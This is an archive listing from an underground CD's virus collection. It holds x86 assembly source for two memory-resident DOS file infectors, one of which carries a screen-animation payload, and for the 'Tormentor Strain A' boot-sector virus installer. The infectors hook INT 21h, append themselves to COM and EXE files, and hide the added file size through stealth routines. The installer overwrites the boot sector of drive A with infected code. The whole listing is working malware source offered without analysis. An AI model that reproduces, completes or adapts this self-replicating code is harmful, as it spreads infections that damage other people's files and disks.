home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / virgen / virusgen / V0003.DAT < prev   
Encoding:
Text File  |  1996-05-26  |  129.8 KB  |  4,886 lines

  1.         .radix    16
  2.         .model    tiny
  3.         .code
  4. code_len    =    top_code-main_entry
  5. data_len    =    top_data-top_code
  6. main_entry:
  7.         call    locate_address
  8. gen_count    dw    0
  9. locate_address:
  10.         xchg    ax,bp
  11.         cld
  12.         pop    bx
  13.         inc    word ptr cs:[bx]
  14.         mov    ax,0d5aa
  15.         int    21
  16.         cmp    ax,2a03
  17.         jz    all_done
  18.         mov    ax,sp
  19.         inc    ax
  20.         mov    cl,4
  21.         shr    ax,cl
  22.         inc    ax
  23.         mov    dx,ss
  24.         add    ax,dx
  25.         mov    dx,ds
  26.         dec    dx
  27.         mov    es,dx
  28.         xor    di,di
  29.         mov    cx,(top_data-main_entry-1)/10+1
  30.         mov    dx,[di+2]
  31.         sub    dx,cx
  32.         cmp    dx,ax
  33.         jc    all_done
  34.         cli
  35.         sub    es:[di+3],cx
  36.         mov    [di+2],dx
  37.         mov    es,dx
  38.         lea    si,[bx+main_entry-gen_count]
  39.         mov    cx,top_code-main_entry
  40.         rep
  41.         db    2e
  42.         movsb
  43.         push    ds
  44.         mov    ds,cx
  45.         mov    si,20
  46.         lea    di,[di+old_vector-top_code]
  47.         org    $-1
  48.         mov    ax,offset dos_handler
  49.         xchg    ax,[si+64]
  50.         stosw
  51.         mov    ax,es
  52.         xchg    ax,[si+66]
  53.         stosw
  54.         mov    ax,offset time_handler
  55.         xchg    ax,[si]
  56.         stosw
  57.         xchg    ax,dx
  58.         xchg    ax,[si+2]
  59.         stosw
  60.         mov    ax,24
  61.         stosw
  62.         pop    ds
  63.         push    ds
  64.         pop    es
  65.         sti
  66. all_done:
  67.         lea    si,[bx+exe_header-gen_count]
  68.         db    2e
  69.         lodsw
  70.         cmp    ax,'ZM'
  71.         jz    exit_exe
  72.         mov    di,100
  73.         push    di
  74.         stosw
  75.         movsb
  76.         xchg    ax,bp
  77.         ret
  78. exit_exe:
  79.         mov    dx,ds
  80.         add    dx,10
  81.         add    cs:[si+return_address+2-exe_header-2],dx
  82.         org    $-1
  83.         add    dx,cs:[si+stack_offset+2-exe_header-2]
  84.         org    $-1
  85.         mov    ss,dx
  86.         mov    sp,cs:[si+stack_offset-exe_header-2]
  87.         org    $-1
  88.         xchg    ax,bp
  89.         jmp    dword ptr cs:[si+return_address-exe_header-2]
  90.         org    $-1
  91. infect:
  92.         mov    dx,offset exe_header
  93.         mov    cx,top_header-exe_header
  94.         mov    ah,3f
  95.         int    21
  96.         jc    do_exit
  97.         sub    cx,ax
  98.         jnz    go_error
  99.         mov    di,offset exe_header
  100.         les    ax,[di+ss_offset-exe_header]
  101.         org    $-1
  102.         mov    [di+stack_offset-exe_header],es
  103.         org    $-1
  104.         mov    [di+stack_offset+2-exe_header],ax
  105.         org    $-1
  106.         les    ax,[di+ip_offset-exe_header]
  107.         org    $-1
  108.         mov    [di+return_address-exe_header],ax
  109.         org    $-1
  110.         mov    [di+return_address+2-exe_header],es
  111.         org    $-1
  112.         mov    dx,cx
  113.         mov    ax,4202
  114.         int    21
  115.         jc    do_exit
  116.         mov    [di+file_size-exe_header],ax
  117.         org    $-1
  118.         mov    [di+file_size+2-exe_header],dx
  119.         org    $-1
  120.         mov    cx,code_len
  121.         cmp    ax,cx
  122.         sbb    dx,0
  123.         jc    do_exit
  124.         xor    dx,dx
  125.         mov    si,'ZM'
  126.         cmp    si,[di]
  127.         jz    do_put_image
  128.         cmp    [di],'MZ'
  129.         jz    do_put_image
  130.         cmp    ax,0fe00-code_len
  131.         jc    put_image
  132. go_error:
  133.         stc
  134. do_exit:
  135.         ret
  136. do_put_image:
  137.         cmp    dx,[di+max_size-exe_header]
  138.         org    $-1
  139.         jz    go_error
  140.         mov    [di],si
  141. put_image:
  142.         mov    ah,40
  143.         int    21
  144.         jc    do_exit
  145.         sub    cx,ax
  146.         jnz    go_error
  147.         mov    dx,cx
  148.         mov    ax,4200
  149.         int    21
  150.         jc    do_exit
  151.         mov    ax,[di+file_size-exe_header]
  152.         org    $-1
  153.         cmp    [di],'ZM'
  154.         jnz    com_file
  155.         mov    dx,[di+file_size-exe_header+2]
  156.         org    $-1
  157.         mov    cx,4
  158.         push    di
  159.         mov    si,[di+header_size-exe_header]
  160.         org    $-1
  161.         xor    di,di
  162. shift_size:
  163.         shl    si,1
  164.         rcl    di,1
  165.         loop    shift_size
  166.         sub    ax,si
  167.         sbb    dx,di
  168.         pop    di
  169.         mov    cl,0c
  170.         shl    dx,cl
  171.         mov    [di+ip_offset-exe_header],ax
  172.         org    $-1
  173.         mov    [di+cs_offset-exe_header],dx
  174.         org    $-1
  175.         add    dx,(code_len+data_len+100-1)/10+1
  176.         org    $-1
  177.         mov    [di+sp_offset-exe_header],ax
  178.         org    $-1
  179.         mov    [di+ss_offset-exe_header],dx
  180.         org    $-1
  181.         add    word ptr [di+min_size-exe_header],(data_len+100-1)/10+1
  182.         org    $-2
  183.         mov    ax,[di+min_size-exe_header]
  184.         org    $-1
  185.         cmp    ax,[di+max_size-exe_header]
  186.         org    $-1
  187.         jc    adjust_size
  188.         mov    [di+max_size-exe_header],ax
  189.         org    $-1
  190. adjust_size:
  191.         mov    ax,[di+last_page-exe_header]
  192.         org    $-1
  193.         add    ax,code_len
  194.         push    ax
  195.         and    ah,1
  196.         mov    [di+last_page-exe_header],ax
  197.         org    $-1
  198.         pop    ax
  199.         mov    cl,9
  200.         shr    ax,cl
  201.         add    [di+page_count-exe_header],ax
  202.         org    $-1
  203.         jmp    short put_header
  204. com_file:
  205.         sub    ax,3
  206.         mov    byte ptr [di],0e9
  207.         mov    [di+1],ax
  208. put_header:
  209.         mov    dx,offset exe_header
  210.         mov    cx,top_header-exe_header
  211.         mov    ah,40
  212.         int    21
  213.         jc    error
  214.         cmp    ax,cx
  215.         jz    reset
  216. error:
  217.         stc
  218. reset:
  219.         ret
  220. find_file:
  221.         pushf
  222.         push    cs
  223.         call    calldos
  224.         test    al,al
  225.         jnz    cant_find
  226.         push    ax
  227.         push    bx
  228.         push    es
  229.         mov    ah,51
  230.         int    21
  231.         mov    es,bx
  232.         cmp    bx,es:[16]
  233.         jnz    not_infected
  234.         mov    bx,dx
  235.         mov    al,[bx]
  236.         push    ax
  237.         mov    ah,2f
  238.         int    21
  239.         pop    ax
  240.         inc    al
  241.         jnz    fcb_standard
  242.         add    bx,7
  243. fcb_standard:
  244.         mov    ax,es:[bx+17]
  245.         and    ax,1f
  246.         xor    al,1e
  247.         jnz    not_infected
  248.         and    byte ptr es:[bx+17],0e0
  249.         sub    es:[bx+1dh],code_len
  250.         sbb    es:[bx+1f],ax
  251. not_infected:
  252.         pop    es
  253.         pop    bx
  254.         pop    ax
  255. cant_find:
  256.         iret
  257. dos_handler:
  258.         cmp    ah,4bh
  259.         jz    exec
  260.         cmp    ah,11
  261.         jz    find_file
  262.         cmp    ah,12
  263.         jz    find_file
  264.         cmp    ax,0d5aa
  265.         jnz    calldos
  266.         not    ax
  267. fail:
  268.         mov    al,3
  269.         iret
  270. exec:
  271.         cmp    al,2
  272.         jnc    calldos
  273.         push    ds
  274.         push    es
  275.         push    ax
  276.         push    bx
  277.         push    cx
  278.         push    dx
  279.         push    si
  280.         push    di
  281.         mov    ax,3524
  282.         int    21
  283.         push    es
  284.         push    bx
  285.         mov    ah,25
  286.         push    ax
  287.         push    ds
  288.         push    dx
  289.         push    cs
  290.         pop    ds
  291.         mov    dx,offset fail
  292.         int    21
  293.         pop    dx
  294.         pop    ds
  295.         mov    ax,4300
  296.         int    21
  297.         jc    exit
  298.         test    cl,1
  299.         jz    open
  300.         dec    cx
  301.         mov    ax,4301
  302.         int    21
  303. open:
  304.         mov    ax,3d02
  305.         int    21
  306.         jc    exit
  307.         xchg    ax,bx
  308.         mov    ax,5700
  309.         int    21
  310.         jc    close
  311.         mov    al,cl
  312.         or    cl,1f
  313.         dec    cx
  314.         xor    al,cl
  315.         jz    close
  316.         push    cs
  317.         pop    ds
  318.         push    cx
  319.         push    dx
  320.         call    infect
  321.         pop    dx
  322.         pop    cx
  323.         jc    close
  324.         mov    ax,5701
  325.         int    21
  326. close:
  327.         mov    ah,3e
  328.         int    21
  329. exit:
  330.         pop    ax
  331.         pop    dx
  332.         pop    ds
  333.         int    21
  334.         pop    di
  335.         pop    si
  336.         pop    dx
  337.         pop    cx
  338.         pop    bx
  339.         pop    ax
  340.         pop    es
  341.         pop    ds
  342. calldos:
  343.         jmp    cs:[old_vector]
  344.         .radix    10
  345. adrtbl        dw    1680,1838,1840,1842,1996,1998,2000,2002,2004,2154,2156
  346.         dw    2158,2160,2162,2164,2166,2316,2318,2320,2322,2324,2478
  347.         dw    2480,2482,2640
  348. diftbl        dw    -324,-322,-156,158,-318,-316,318,156,162,316,164,-322
  349.         dw    -162,-322,322,322,-324,-158,164,316,-324,324,-316,-164
  350.         dw    324
  351. valtbl        dw    3332,3076,3076,3076,3588,3588,3588,3588,3588,3844,3844
  352.         dw    3844,3844,3844,3844,3844,2564,2564,2564,2564,2564,2820
  353.         dw    2820,2820,2308
  354. xlatbl        dw    -324,316,-164,156,-322,318,-162,158,-318,322,-158,162
  355.         dw    -316,324,-156,164
  356.         .radix    16
  357. time_handler:
  358.         push    ds
  359.         push    es
  360.         push    ax
  361.         push    bx
  362.         push    cx
  363.         push    dx
  364.         push    si
  365.         push    di
  366.         push    cs
  367.         pop    ds
  368.         cld
  369.         mov    dx,3da
  370.         mov    cx,19
  371.         mov    si,offset count
  372.         mov    ax,[si]
  373.         test    ah,ah
  374.         jnz    make_move
  375.         mov    al,ah
  376.         mov    es,ax
  377.         cmp    al,es:[46dh]
  378.         jnz    exit_timer
  379.         mov    ah,0f
  380.         int    10
  381.         cmp    al,2
  382.         jz    init_diamond
  383.         cmp    al,3
  384.         jnz    exit_timer
  385. init_diamond:
  386.         inc    byte ptr [si+1]
  387.         sub    bl,bl
  388.         add    bh,0b8
  389.         mov    [si+2],bx
  390.         mov    es,bx
  391. wait_snow:
  392.         in    al,dx
  393.         test    al,8
  394.         jz    wait_snow
  395.         mov    si,offset valtbl
  396. build_diamond:
  397.         mov    di,[si+adrtbl-valtbl]
  398.         movsw
  399.         loop    build_diamond
  400. exit_timer:
  401.         pop    di
  402.         pop    si
  403.         pop    dx
  404.         pop    cx
  405.         pop    bx
  406.         pop    ax
  407.         pop    es
  408.         pop    ds
  409.         jmp    cs:[old_timer]
  410. count_down:
  411.         dec    byte ptr [si]
  412.         jmp    exit_timer
  413. make_move:
  414.         test    al,al
  415.         jnz    count_down
  416.         inc    byte ptr [si]
  417.         mov    si,offset adrtbl
  418. make_step:
  419.         push    cx
  420.         push    cs
  421.         pop    es
  422.         lodsw
  423.         mov    bx,ax
  424.         sub    ax,140
  425.         cmp    ax,0d20
  426.         jc    no_xlat
  427.         test    ax,ax
  428.         mov    ax,[si+diftbl-adrtbl-2]
  429.         jns    test_xlat
  430.         test    ax,ax
  431.         js    do_xlat
  432.         jmp    short no_xlat
  433. test_xlat:
  434.         test    ax,ax
  435.         js    no_xlat
  436. do_xlat:
  437.         mov    di,offset xlatbl
  438.         mov    cx,10
  439.         repnz    scasw
  440.         dec    di
  441.         dec    di
  442.         xor    di,2
  443.         mov    ax,[di]
  444.         mov    [si+diftbl-adrtbl-2],ax
  445. no_xlat:
  446.         mov    ax,[si-2]
  447.         add    ax,[si+diftbl-adrtbl-2]
  448.         mov    [si-2],ax
  449.         mov    cx,19
  450.         mov    di,offset adrtbl
  451. lookup:
  452.         jcxz    looked_up
  453.         repnz    scasw
  454.         jnz    looked_up
  455.         cmp    si,di
  456.         jz    lookup
  457.         mov    [si-2],bx
  458.         mov    ax,[si+diftbl-adrtbl-2]
  459.         xchg    ax,[di+diftbl-adrtbl-2]
  460.         mov    [si+diftbl-adrtbl-2],ax
  461.         jmp    lookup
  462. looked_up:
  463.         mov    es,[homeadr]
  464.         mov    di,bx
  465.         xor    bx,bx
  466.         call    out_char
  467.         mov    di,[si-2]
  468.         mov    bx,[si+valtbl-adrtbl-2]
  469.         call    out_char
  470.         pop    cx
  471.         loop    make_step
  472.         jmp    exit_timer
  473. out_char:
  474.         in    al,dx
  475.         test    al,1
  476.         jnz    out_char
  477. check_snow:
  478.         in    al,dx
  479.         test    al,1
  480.         jz    check_snow
  481.         xchg    ax,bx
  482.         stosw
  483.         ret
  484. stack_offset    dd    ?
  485. return_address    dd    ?
  486.         db    '7106286813'
  487. exe_header:    int    20
  488. last_page:    nop
  489. top_code:
  490.         db    ?
  491. page_count    dw    ?
  492.         dw    ?
  493. header_size    dw    ?
  494. min_size    dw    ?
  495. max_size    dw    ?
  496. ss_offset    dw    ?
  497. sp_offset    dw    ?
  498.         dw    ?
  499. ip_offset    dw    ?
  500. cs_offset    dw    ?
  501. top_header:
  502. file_size    dd    ?
  503. old_vector    dd    ?
  504. old_timer    dd    ?
  505. count        db    ?
  506. flag        db    ?
  507. homeadr     dw    ?
  508. top_data:
  509.         end
  510.  
  511. done
  512.  
  513. virus segment public 'code'
  514.     assume    cs:virus,ds:virus,es:virus
  515.     org    0
  516.  
  517. VirusSize    equ    VirusEnd-$
  518.  
  519. Com:    call    Begin
  520.     call    Label2
  521.  
  522. SavedCode:
  523.     mov    ax,4c00h
  524.     int    21h
  525.  
  526.         org     SavedCode+5h
  527.  
  528. Label2:    pop    si
  529.     mov    di,100h
  530.     push    di
  531.     movsw
  532.     movsw
  533.     movsb
  534.     ret
  535.  
  536. Begin:    push    ds
  537.     push    es
  538.     push    ax
  539.     xor    ax,ax
  540.     mov    ds,ax
  541.     mov    ds,ds:[46ah]
  542.     cmp    Signature,0ACDCh
  543.     je    Exit
  544.     mov    ah,4ah
  545.     mov    bx,-1
  546.     int    21h
  547.         sub     bx,VirusParas1
  548.     jb    Exit
  549.     add    bh,10h
  550.     mov    ah,4ah
  551.     int    21h
  552.     mov    ah,48h
  553.         mov     bx,VirusParas2
  554.     int    21h
  555.     jb    Exit
  556.     dec    ax
  557.     mov    es,ax
  558.     inc    ax
  559.     mov    es:[1],ax
  560.     mov    es,ax
  561.     push    cs
  562.     pop    ds
  563.     call    Label1
  564. Label1:    pop    si
  565.     sub    si,offset Label1
  566.     xor    di,di
  567.     push    di
  568.     mov    cx,VirusSize
  569.     rep    movsb
  570.     pop    ds
  571.     mov    ax,ds:[84h]
  572.     mov    word ptr es:OldInt21[0],ax
  573.     mov    ax,ds:[86h]
  574.     mov    word ptr es:OldInt21[2],ax
  575.     mov    byte ptr ds:[467h],0eah
  576.     mov    word ptr ds:[468h],offset NewInt21
  577.     mov    ds:[46ah],es
  578.     mov    word ptr ds:[84h],7
  579.     mov    word ptr ds:[86h],46h
  580. Exit:    pop    ax
  581.     pop    ds
  582.     pop    es
  583.     ret
  584.  
  585. Header        db    0e9h
  586.         dw    0
  587. Signature    dw    0ACDCh
  588.  
  589. NewInt21:
  590.     cmp    ah,4bh
  591.         jne     on1
  592.         jmp     exec
  593. on1:    cmp     ah,4eh
  594.         je      find
  595.         cmp     ah,4fh
  596.         je      find
  597.         jmp     EOI
  598.  
  599.         Db ' As wolfs among sheep we have wandered '
  600.  
  601. Find:   call    interrupt                       ; call orginal interrupt
  602.     jc    Ret1                ; error ?
  603.     pushf                    ; save registers
  604.     push    ax
  605.     push    bx
  606.     push    es
  607.     mov    ah,2fh
  608.         call    interrupt
  609.     mov    al,es:[bx+16h]            ; get file-time (low byte)
  610.     and    al,1fh                ; seconds
  611.     cmp    al,1fh                ; 62 seconds ?
  612.     jne    FileOk                ; no, file not infected
  613.     sub    word ptr es:[bx+1ah],VirusSize    ; change file-size
  614.     sbb    word ptr es:[bx+1ch],0
  615. Time:    xor    byte ptr es:[bx+16h],10h    ; adjust file-time
  616. FileOk:    pop    es                ; restore registers
  617.     pop    bx
  618.     pop    ax
  619.     popf
  620. ret1:   retf    2
  621.  
  622. Exec:    push    ax
  623.     push    bx
  624.     push    cx
  625.     push    dx
  626.     push    ds
  627.     mov    ax,3d02h
  628.     call    Interrupt
  629.         jc      short Error
  630.     push    cs
  631.     pop    ds
  632.     mov    bx,ax
  633.     mov    ah,3fh
  634.         mov     cx,5h
  635.     mov    dx,offset SavedCode
  636.     call    DOS
  637.         cmp     word ptr cs:SavedCode,'ZM'
  638.         je      short TheEnd
  639. ComFile:cmp    word ptr cs:SavedCode[3],0ACDCh
  640.         je      short TheEnd
  641.     mov    al,02h
  642.     call    Seek
  643.     or    dx,dx
  644.     cmp    ah,0f6h
  645.         je      short Close
  646.     sub    ax,5
  647.     inc    ax
  648.     inc    ax
  649.     mov    word ptr ds:Header[1],ax
  650.         mov     ax,5700h
  651.         call    dos
  652.         push    cx
  653.         push    dx
  654.     mov    ah,40h
  655.     mov    cx,VirusSize
  656.     xor    dx,dx
  657.     call    DOS
  658.     mov    al,00h
  659.     call    Seek
  660.     mov    ah,40h
  661.     mov    cx,5
  662.     mov    dx,offset Header
  663.         call    dos
  664. Close:  mov     ax,5701h
  665.         pop     dx
  666.         pop     cx
  667.         or      cl,1fh
  668.         call    dos
  669. TheEnd: mov     ah,3eh
  670.     call    Interrupt
  671. Error:    pop    ds
  672.     pop    dx
  673.     pop    cx
  674.     pop    bx
  675.     pop    ax
  676.  
  677. EOI:        db    0eah        ; jmp    0:0
  678. OldInt21    dd    026b1465h
  679.  
  680. Seek:    mov    ah,42h
  681.     xor    cx,cx
  682.     xor    dx,dx
  683.  
  684. DOS:    call    Interrupt
  685.     jnc    Ok
  686.     pop    ax
  687.     jmp    Close
  688.  
  689. Interrupt:
  690.     pushf
  691.     call    cs:OldInt21
  692. Ok:    ret
  693.  
  694. VirusEnd    equ    $
  695.  
  696. VirusParas1     equ (VirusSize+1fh)/10h+1000h
  697. VirusParas2     equ (VirusSize+0fh)/10h
  698.  
  699. virus ends
  700.  
  701. end
  702.  
  703. done
  704.  
  705. code_seg segment
  706.      assume cs:code_seg,ds:code_seg
  707.     
  708.      org 100h
  709.  
  710. tormentor     proc    far
  711.  
  712. @disp    macro    string            
  713.     mov    dx,offset string
  714.     mov    ah,09h
  715.     int    21h
  716. endm
  717.  
  718. @exit    macro    
  719.     mov    ax,4c00h
  720.     int    21h
  721. endm
  722.  
  723. @cls    macro    mode
  724.     mov    ah,00h
  725.     mov    al,mode
  726.     int    10h
  727. endm
  728.  
  729. start:    jmp    main
  730.  
  731. boot_area dw     256 dup (0)
  732. boot_sec  dw    512 dup (0)
  733.  
  734. message    db    "Tormentor Strain A",13,10
  735.     db    "Written by The High Evolutionary",13,10
  736.     db    "Copyright (C) 1991 by The RABID Nat'nl Development Corp."
  737.     db    13,10,13,10
  738.     db    "Press any key to install onto media in drive A:",13,10
  739.     db    "(Or press CTRL-C to abort)$",13,10
  740.  
  741. paused    db    13,10,13,10
  742.     db    "[Paused] Insert destination disk if desired and press",13,10
  743.     db    "any key, otherwise, press any key$",13,10
  744.  
  745. done    db    "Done!$",13,10
  746.  
  747. r_fail    db    13,10,13,10
  748.     db    "Failed to READ in boot sector$",13,10
  749.  
  750. w_fail    db    13,10,13,10
  751.     db    "Failed to WRITE boot sector$",13,10
  752.  
  753. f_infec    db    13,10,13,10
  754.     db    "SHIT! We failed to write the virus code to the disk!!!$",13,10
  755.  
  756. r_boot    db    13,10,13,10
  757.     db    "Now READING in the boot sector$",13,10
  758.  
  759. w_boot    db    13,10,13,10
  760.     db    "Now WRITING the boot sector to track 719$",13,10
  761.  
  762. w_vir    db    13,10,13,10
  763.     db    "Now WRITING the VIRUS to the boot sector$",13,10
  764.  
  765. succ    db    13,10,13,10
  766.     db    "Success! We installed Tormentor onto the drive$",13,10
  767.  
  768. memerr    db    13,10,13,10
  769.     db    "BOMB! We had a memory allocation error. Bailing out...$",13,10
  770.     db    13,10
  771.  
  772. read_shit db    13,10,13,10
  773.     db    "Reading in shit via INT 25...$",13,10
  774.     db    13,10
  775.  
  776. intro    db    "You are in Torment$",13,10
  777.  
  778. bootseg    dw    ?            ; Storage segment address or mem. block
  779.                     ; containing copy of boot record
  780.  
  781. dssave    dw    ?            ; Storage for DS register
  782. ;dssave dw    seg    group        ; Storage for DS register
  783.  
  784. pspseg    dw    ?            ; PSP segment storage
  785.  
  786. ;stack    segment para stack 'STACK'    ; Code Segment
  787. ;stack     ends
  788.  
  789. ;_data    segment    word public 'DATA'    ; Data Segment
  790. ;_data    ends
  791.  
  792. ;dgroup    group    data,stack        ; Define segment group
  793.  
  794. ;*****************************************************************************
  795. ; Boot record information to infect both floppies and hard-drives
  796. ;*****************************************************************************
  797.  
  798. bootrecord    struc
  799. bootjump    db    3 dup (?)    ; Initial 3 byte jmp instruction
  800. oemstring    db    8 dup (?)    ; OEM version and DOS
  801. sectorbytes    dw    ?        ; Bytes per sector
  802. clustersec    db    ?        ; Sectors per cluster
  803. reservedrec    dw    ?        ; Reserved sectors
  804. fatcopies    db    ?        ; number of FAT copies
  805. direntries    dw    ?        ; number of root dir entries
  806. totalsectors    dw    ?        ; Total disk sectors
  807. mediadescrip    db    ?        ; Media Descriptor
  808. fatsectors    dw    ?        ; number of sectors occupied by 1 FAT
  809. tracksectors    dw    ?        ; number of sectors per track
  810. heads        dw    ?        ; number of heads
  811. hiddensectors    dw    ?        ; number of hidden sectors
  812. bootrecord    ends
  813.  
  814. drive    db    ?            ; Current drive pointer
  815.  
  816. memalloc    proc    near
  817.  
  818.     push    bp            ; Save base pointer
  819.     push     bx            ; Save BX
  820.     mov    bp,sp            ; init base pointer
  821.     xor    al,al            ; Zero out AL    
  822.     mov    ah,48h            ; Allocate mem. function
  823.     int    21h
  824.     jnc    end_memalloc        ; exit if no error
  825.     mov    word ptr [bp],bx
  826.  
  827. end_memalloc:
  828.     pop    bx            ; Restore BX
  829.     pop    bp            ; Restore Base Pointer
  830.     ret    
  831.  
  832. memalloc    endp
  833.  
  834. main:
  835.  
  836. get_default_drive:
  837.     mov    ah,19h
  838.     int    21h
  839.     mov    byte ptr drive,al    ; Move current drive into drive
  840.  
  841.  
  842. ;    mov    ds,dssave        ; Initialise DS
  843. ;    mov    ax,es            ; get PSP address
  844. ;    mov    word ptr pspseg,ax    ; and save it...
  845.  
  846.     jmp    read_boot
  847.  
  848. ;    mov    bx,40h            ; Allocate 1024 bytes
  849. ;    call    memalloc        ; Allocate BX block of memory
  850. ;    jnc    read_boot
  851. ;    @disp    memerr
  852. ;    jmp    quit    
  853.  
  854. read_boot:
  855.     @disp    read_shit
  856.     mov    ah,08h
  857.     int    21h
  858.     mov    word ptr bootseg,ax
  859.     push    ax            ; Save AX onto the stack
  860.     mov    al,0
  861. ;    mov    al,byte ptr drive    ; Move current drive into AL
  862.     xor     ah,ah            ; Zero out AH
  863. ;    pop    ds            ; Restore Data_seg
  864.     pushf                ; Save flags
  865.     mov    dx,0            ; Read in sector 0
  866.     mov    cx,1            ; Read in 1 sector
  867.     mov    bx,offset boot_sec    ; Store data at DS:boot_sec
  868.     int    25h            ; Read in the disk
  869.     popf                ; clear flags used by flags
  870.     @disp    done
  871.     mov    ah,08h
  872.     int    21h
  873. ;    assume    ds:code_seg        ; Restore DS
  874.     
  875. begin:    @cls    03
  876. ;    mov    ah,00            ; Set screen
  877. ;    mov    al,03            ; Set screen for 80x25 color
  878. ;    int    10h            ; Call BIOS
  879.     @disp     message
  880.  
  881.     mov    ah,08h            ; Wait for a keypress
  882.     int    21h
  883.     mov    cx,3
  884.  
  885. read_sector:
  886.     @disp    r_boot            ; Display that we are reading the
  887.                     ; sector from the disk
  888.     push    cx            ; Counter is pushed onto the stack
  889.     mov    ax,201h            ; Read in 1 sector
  890.     mov    bx,offset boot_area    ; Store it in boot_area
  891.     mov    cx,1            ; Set counter to 1
  892.     mov    dx,0            ; Set for drive 0, head 0
  893.     int    13h            ; Call BIOS
  894.     pop    cx            ; Restore counter
  895.     jnc    good_read        ; If there were no errors, then
  896.                     ; jump to good_read
  897.     loop    read_sector        ; Jump back and try reading the sector
  898.                     ; again while CX>0
  899.     @disp     r_fail
  900.     mov    ax,4c00h        ; Exit
  901.     int    21h            ; Call DOS
  902.  
  903. good_read:
  904.     mov    cx,3            ; Set counter to 3
  905.     @disp    paused            ; Display message for pause
  906.     mov    ah,08h            ; Wait for a key
  907.     int    21h            ; Call DOS
  908.  
  909. ;*****************************************************************************
  910. ; Write good sector to track 719 (Head 1, track 27, sector 9)
  911. ;*****************************************************************************
  912.  
  913. write_sector:
  914.     @disp    w_boot            ; Display that we are writing the 
  915.                     ; sector to disk
  916.     mov    ax,301h            ; Set for writing the boot sector
  917.     mov    bx,offset boot_area    ; Set buffer to what we read in
  918. ;    mov    bx,offset infected_data
  919.     mov    cx,2709h        ; Set counter to 2709h
  920.     mov    dx,100h            ; Head 1, drive 0    
  921.     int    13h            ; Call BIOS
  922.     pop    cx            ; Restore the counter
  923.     jnc    good_write        ; If we wrote the sectors allright,
  924.                     ; then jump to good_write
  925.     loop    write_sector
  926.     @disp    w_fail
  927.     mov    ax,4c00h        ; Exit
  928.     int    21h            ; Call DOS
  929.  
  930. good_write:
  931.     mov    cx,3            ; Copy 3 into CX
  932.     @disp    w_vir
  933. infect_floppy:
  934.     push    cx            ; Push it onto the stack
  935.     mov    ax,301h            ; Write 1 sector
  936.     mov    bx,offset infected_data ; Write corrupt boot sector to the
  937.                     ; drive
  938.     mov    cx,1            ; Set counter to 1
  939.     mov    dx,0            ; Set for drive A:
  940.     int    13h            ; Call BIOS
  941.     jnc    good_infection        ; If there are no problems, then
  942.                     ; continue
  943.     loop    infect_floppy        ; Otherwise, try again until CX=0
  944.     @disp    f_infec            ; If CX=0, then display the message
  945.                     ; and then exit
  946.     mov    ax,4c00h        ; Exit
  947.     int    21h            ; Call DOS
  948.  
  949. good_infection:
  950.     @disp    succ
  951.     mov    ax,4c00h
  952.     int    21h
  953.  
  954. ;*****************************************************************************
  955. ; The following is a copy of the infected boot sector to copy to sector 0
  956. ;*****************************************************************************
  957.  
  958. infected_data    db    0EBh, 34h
  959.         nop
  960.         dec    cx
  961.         inc    dx
  962.         dec    bp
  963.         and    [bx+si],ah
  964.         xor    bp,word ptr ds:[33h]
  965.         add    al,[bp+si]
  966.         add    [bx+si],ax
  967.         add    dh,[bx+si+0]
  968.         rol    byte ptr [bp+si],1    ; Rotate
  969.         std                ; Set direction flag
  970.         add    al,[bx+si]
  971.         or    [bx+si],ax
  972.         add    al,[bx+si]
  973.         db    19 dup (0)
  974. ;        db    'Tormentor Strain A - RABID Nat''nl Development Corp.'
  975.         adc    al,[bx+si]
  976.         add    [bx+si],al
  977.         add    [bx+di],al
  978.         add    dl,bh
  979.         xor    ax,ax            ; Zero register
  980.         mov    ds,ax
  981.         mov    ss,ax
  982.         mov    bx,7C00h        ; Pointer to boot segment
  983.         mov    sp,bx
  984.         push    ds
  985. data_14        db    53h
  986.         dec    word ptr ds:[413h]
  987.         int    12h            ; Put (memory size)/1K in ax
  988.         mov    cl,6
  989.         shl    ax,cl            ; Shift w/zeros fill
  990.         mov    es,ax
  991.         xchg    ax,word ptr ds:[4Eh]
  992.         mov    word ptr ds:[7DABh],ax
  993.         mov    ax,128h
  994.         xchg    ax,word ptr ds:[4Ch]
  995.         mov    word ptr ds:[7DA9h],ax
  996.         mov    ax,es
  997.         xchg    ax,word ptr ds:[66h]
  998.         mov    word ptr ds:[7DAFh],ax
  999.         mov    ax,0BBh
  1000.         xchg    ax,word ptr ds:[64h]
  1001.         mov    word ptr ds:[7DADh],ax
  1002.         xor    di,di            ; Zero register
  1003.         mov    si,bx
  1004.         mov    cx,100h
  1005.         cld                ; Clear direction
  1006.         rep    movsw            ; Rep when cx >0 Mov [si] to es:[di]
  1007.         sti                ; Enable interrupts
  1008.         push    es
  1009.         mov    ax,85h
  1010.         push    ax
  1011.         retf
  1012.         push    bx
  1013.         xor    dl,dl            ; Zero register
  1014.         call    sub_2            ; (00FB)
  1015.         pop    bx
  1016.         push    ds
  1017.         pop    es
  1018.         mov    ah,2
  1019.         mov    dh,1
  1020.         call    sub_6            ; (011F)
  1021.         jc    loc_2            ; Jump if carry Set
  1022.         push    cs
  1023.         pop    ds
  1024.         mov    si,offset ds:[0Bh]
  1025.         mov    di,offset ds:[7C0Bh]
  1026.         mov    cx,2Bh
  1027.         cld                ; Clear direction
  1028.         repe    cmpsb            ; Rep zf=1+cx >0 Cmp [si] to es:[di]
  1029.         jz    loc_ret_3        ; Jump if zero
  1030. loc_2:
  1031.         pop    bx
  1032.         pop    ax
  1033.         push    cs
  1034.         mov    ax,0AFh
  1035.         push    ax
  1036.   
  1037. loc_ret_3:
  1038.         retf                ; Return far
  1039. read_error:
  1040.         push    cs
  1041.         pop    ds
  1042.         mov    si,1DBh
  1043.         call    sub_1            ; (00DA)
  1044.         xor    ah,ah            ; Zero register
  1045.         int    16h            ; Keyboard i/o  ah=function 00h
  1046.                         ; get keybd char in al, ah=scan
  1047.         xor    ax,ax            ; Zero register
  1048.         int    13h            ; Disk  dl=drive a  ah=func 00h
  1049.                         ;  reset disk, al=return status
  1050.         push    cs
  1051.         pop    es
  1052.         mov    bx,offset ds:[200h]
  1053.         mov    cx,6
  1054.         xor    dx,dx            ; Zero register
  1055.         mov    ax,201h
  1056.         int    13h            ; Disk  dl=drive a  ah=func 02h
  1057.                         ;  read sectors to memory es:bx
  1058.         jc    read_error        ; Jump if carry Set
  1059.         mov    cx,0FF0h
  1060.         mov    ds,cx
  1061.         jmp    dword ptr cs:data_16
  1062.  
  1063. ;
  1064. ; Insert Tormentor     endp here...
  1065. ;
  1066. ;tormentor    endp
  1067.  
  1068.   
